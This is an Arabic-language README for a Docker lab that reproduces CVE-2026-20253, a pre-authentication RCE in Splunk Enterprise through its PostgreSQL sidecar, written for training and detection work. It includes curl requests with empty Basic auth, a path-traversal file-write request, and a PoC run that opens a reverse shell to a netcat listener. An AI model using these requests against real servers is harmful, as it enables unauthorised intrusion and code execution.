
بيئة مختبر Docker مع استغلال PoC ومدقق لـ CVE-2026-20253، وهو RCE قبل المصادقة في Splunk Enterprise عبر خدمة PostgreSQL الجانبية.
| CVE | CVE-2026-20253 |
| CVSS | 9.8 (حرج) |
| النوع | تنفيذ تعليمات برمجية عن بُعد دون مصادقة |
| CWE | CWE-306: غياب المصادقة لوظيفة حرجة |
| المنتج | Splunk Enterprise 10.0.x / 10.2.x |
إخلاء المسؤولية: هذا المختبر مخصص للبحث الأمني المصرّح به والتعليم واختبار الاختراق فقط. لا تستخدمه ضد أنظمة لا تملكها أو لا تملك تفويضًا صريحًا لاختبارها.
┌──────────────────────────────────────────────────────┐
│ Docker Network: cve-lab │
│ Subnet: 172.20.0.0/24 │
│ │
│ ┌─────────────────────┐ ┌──────────────────────┐ │
│ │ splunk-vulnerable │ │ attacker │ │
│ │ 172.20.0.10 │ │ 172.20.0.50 │ │
│ │ │ │ │ │
│ │ Splunk 10.2.3 │ │ Python 3.11 │ │
│ │ Port 8000 (Web) │ │ nmap, netcat │ │
│ │ Port 8089 (API) │ │ postgresql-client │ │
│ │ Port 8088 (HEC) │ │ tcpdump │ │
│ └─────────────────────┘ └──────────────────────┘ │
│ │
│ ┌─────────────────────┐ (optional, profile: patched)│
│ │ splunk-patched │ │
│ │ 172.20.0.11 │ │
│ │ Splunk 10.2.4 │ │
│ │ Port 8001 (Web) │ │
│ └─────────────────────┘ │
└──────────────────────────────────────────────────────┘
# Start Splunk vulnerable + attacker
docker-compose up -d
# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then: "Splunk is ready"
admin / ChangeMeNow!# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k
# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k
# Enter attacker container
docker exec -it attacker bash
# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k
# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444
# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
-t http://172.20.0.10:8000 \
--rce \
--lhost 172.20.0.50 \
--lport 4444 \
-k
docker-compose --profile patched up -d splunk-patched
# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k
الهدف: تحديد نقاط نهاية خدمة PostgreSQL الجانبية والتحقق من تجاوز المصادقة.
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088
# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"
أسئلة:
Authorization: Basic Og==؟الهدف: إثبات إنشاء ملفات عشوائية على خادم Splunk.
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
"http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"
# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned
الهدف: تحقيق تنفيذ التعليمات البرمجية على خادم Splunk.
--rcewhoami، id، ls /opt/splunk/etc/)الهدف: فهم ما تغيّر بين النسختين المعرّضة للثغرة والمُرقّعة.
# Start both vulnerable and patched instances
docker-compose --profile patched up -d
# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health" # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health" # 401
# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
الهدف: إنشاء قواعد كشف لهذه الثغرة.
index=_internal عن آثار الهجومreport/ANALYSIS.md القسم 6)CVE-2026-20253/
├── README.md # This file
├── docker-compose.yml # Lab environment definition
├── attacker/
│ ├── Dockerfile # Attacker container build
│ └── requirements.txt # Python dependencies
├── exploit/
│ ├── checker.py # Vulnerability checker script
│ ├── poc.py # PoC exploit (auth bypass → file write → RCE)
│ └── requirements.txt # Python dependencies
└── report/
└── ANALYSIS.md # Root cause analysis & full report
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10
# Stop and remove all containers
docker-compose --profile patched down
# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v
# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4